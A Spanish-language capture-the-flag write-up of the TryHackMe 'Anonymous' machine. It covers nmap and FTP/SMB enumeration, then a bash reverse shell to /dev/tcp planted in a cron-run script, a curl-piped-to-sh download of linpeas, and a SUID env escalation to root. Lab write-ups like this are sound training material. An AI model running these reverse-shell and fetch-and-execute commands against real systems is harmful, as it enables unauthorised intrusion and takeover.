Entrada

TryHackMe - Anonymous

No ese grupo de hackers

TryHackMe - Anonymous

Introducción

Máquina bastante fácil, curiosamente estaba valorada como Medium. De cualquier manera, es divertida.

Tryhackme Room Link

Nmap

Comencemos con el escaneo de nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.12.102
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.75.122
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_  256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puertos abiertos: 21/tcp 22/tcp 139/tcp 445/tcp

Pregunta: Enumere la máquina. ¿Cuántos puertos están abiertos?

Respuesta:

1
4

También podemos responder algunas preguntas, ya que estos son puertos y servicios predeterminados

Pregunta: ¿Qué servicio se está ejecutando en el puerto 21?

Respuesta:

1
ftp

Pregunta: ¿Qué servicio se está ejecutando en los puertos 139 y 445?

Respuesta:

1
smb

Reconocimiento

Intenté iniciar sesión como anónimo en el puerto FTP y parece que funciona, así que estoy verificando los archivos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ ftp [email protected]                                                                                 
Connected to 10.10.12.102.
220 NamelessOne's FTP Server!
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||46482|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||21624|)
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         1376 Feb 27 14:20 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> 

También podemos ver los nombres de los recursos compartidos SMB de esta manera:

1
smbclient -L 10.10.12.102

Simplemente presione Enter y estaremos conectados como anónimos

Pregunta: Hay un recurso compartido en la computadora del usuario. ¿Cómo se llama?

Respuesta:

1
pics

Tenemos un nombre de usuario NamelessOne

Descarguemos todos los archivos y echemos un vistazo

1
$ wget -m ftp://[email protected]

Bandera de usuario

Bien, ahora tenemos que:

  1. Escribir nuestro shell inverso en el archivo clean.sh
  2. Iniciar sesión en FTP como anónimo
  3. Descargar el archivo de la máquina del atacante
1
2
3
4
#!/bin/bash

bash -i >& /dev/tcp/10.11.75.122/1337 0>&1

1
2
3
4
5
6
7
8
ftp> put clean.sh clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||46815|)
150 Ok to send data.
100% |******************************************************************|    56        1.57 MiB/s    00:00 ETA
226 Transfer complete.
56 bytes sent in 00:00 (0.60 KiB/s)
ftp> 

Abra el oyente netcat y simplemente espere

1
2
nc -lvnp 1337
listening on [any] 1337 ...

Ok, después de esperar a que se ejecute cronjob, recibimos la conexión.

1
2
3
4
5
6
7
8
9
10
connect to [10.11.75.122] from (UNKNOWN) [10.10.12.102] 52464
bash: cannot set terminal process group (1522): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
<CENSORED>

User Flag

Escalada de privilegios

Ahora, vamos con la escalada de privilegios

Usemos linpeas para verificar posibles vectores de escalada de privilegios

  1. Descargue linpeas desde github
  2. Inicie el servidor http local en nuestra máquina atacante
  3. Ejecute el comando para descargar el archivo y ejecutarlo
1
sudo python3 -m http.server

Y la máquina víctima

1
curl 10.11.75.122/linpeas.sh | sh

Parece que tenemos /env disponible Si el binario tiene SUID configurado, no perderá los privilegios elevados

Podemos simplemente enumerar el indicador raíz de esta manera

1
2
env /bin/sh
/usr/bin/env /bin/sh -p

Root Flag

Root Flag

Esta entrada está licenciada bajo CC BY 4.0 por el autor.